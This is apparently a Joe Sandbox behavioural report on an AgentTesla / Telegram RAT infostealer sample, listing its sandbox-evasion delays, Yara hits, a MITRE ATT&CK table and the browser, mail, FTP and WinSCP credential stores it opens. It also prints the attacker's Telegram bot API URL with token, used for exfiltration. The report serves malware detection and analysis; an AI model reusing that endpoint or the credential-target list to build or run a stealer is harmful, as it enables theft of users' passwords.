Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598123	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597651	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597307	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596462	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596355	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595912	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594641	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594422	Jump to behavior

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4107212038.0000000001685000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllagementCapabilities

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Queries volume information: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, type: SAMPLE
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe PID: 6768, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, type: SAMPLE
Source: Yara match	File source: 0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe PID: 6768, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, type: SAMPLE
Source: Yara match	File source: 0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe PID: 6768, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, type: SAMPLE
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe PID: 6768, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, type: SAMPLE
Source: Yara match	File source: 0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe PID: 6768, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	141 Virtualization/Sandbox Evasion	21 Input Capture	111 Security Software Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Process Discovery	SMB/Windows Admin Shares	11 Archive Collected Data	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	2 Data from Local System	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Application Window Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	100%	Avira	HEUR/AGEN.1305739
1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://api.telegram	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram	1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003693000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://account.dyn.com/	1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	false	URL Reputation: safe	unknown
https://api.telegram.org	1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003574000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003633000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003418000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003693000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003439000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://api.telegram.org	1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003574000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003633000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003693000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/	1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1443568
Start date and time:	2024-05-18 01:35:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 46 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Simulations

Behavior and APIs

Time	Type	Description
19:35:57	API Interceptor	12857279x Sleep call for process: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	DsQnR4KKDbEYJq8.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Trojan.Siggen28.19290.17748.11549.exe	Get hash	malicious	Babuk, CORNY Ransomware, Chaos, Ragnarok, TrojanRansom	Browse
	t2SFfMxQP1.exe	Get hash	malicious	PureLog Stealer, RedLine, XWorm	Browse
	e-dekont.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Payment Invoice.js	Get hash	malicious	Unknown	Browse
	voicemail Account.js	Get hash	malicious	PureLog Stealer	Browse
	Invoices Receivable Documents.js	Get hash	malicious	Unknown	Browse
	Accounts Receivable Documents.js	Get hash	malicious	Unknown	Browse
	Order Inquiry for new Purchase_pdf.exe	Get hash	malicious	AgentTesla	Browse
	MVng2nP3xU.exe	Get hash	malicious	Nightingale Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	DsQnR4KKDbEYJq8.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.Siggen28.19290.17748.11549.exe	Get hash	malicious	Babuk, CORNY Ransomware, Chaos, Ragnarok, TrojanRansom	Browse	149.154.167.220
	t2SFfMxQP1.exe	Get hash	malicious	PureLog Stealer, RedLine, XWorm	Browse	149.154.167.220
	e-dekont.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	Payment Invoice.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	voicemail Account.js	Get hash	malicious	PureLog Stealer	Browse	149.154.167.220
	Invoices Receivable Documents.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	Accounts Receivable Documents.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	Order Inquiry for new Purchase_pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	MVng2nP3xU.exe	Get hash	malicious	Nightingale Stealer	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	SecuriteInfo.com.Win32.Malware-gen.24694.6353.exe	Get hash	malicious	CryptOne, Vidar	Browse	149.154.167.99
	DsQnR4KKDbEYJq8.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.Siggen28.19290.17748.11549.exe	Get hash	malicious	Babuk, CORNY Ransomware, Chaos, Ragnarok, TrojanRansom	Browse	149.154.167.220
	t2SFfMxQP1.exe	Get hash	malicious	PureLog Stealer, RedLine, XWorm	Browse	149.154.167.220
	e-dekont.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	Payment Invoice.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	voicemail Account.js	Get hash	malicious	PureLog Stealer	Browse	149.154.167.220
	Invoices Receivable Documents.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	Accounts Receivable Documents.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	Order Inquiry for new Purchase_pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220

JA3 Fingerprints

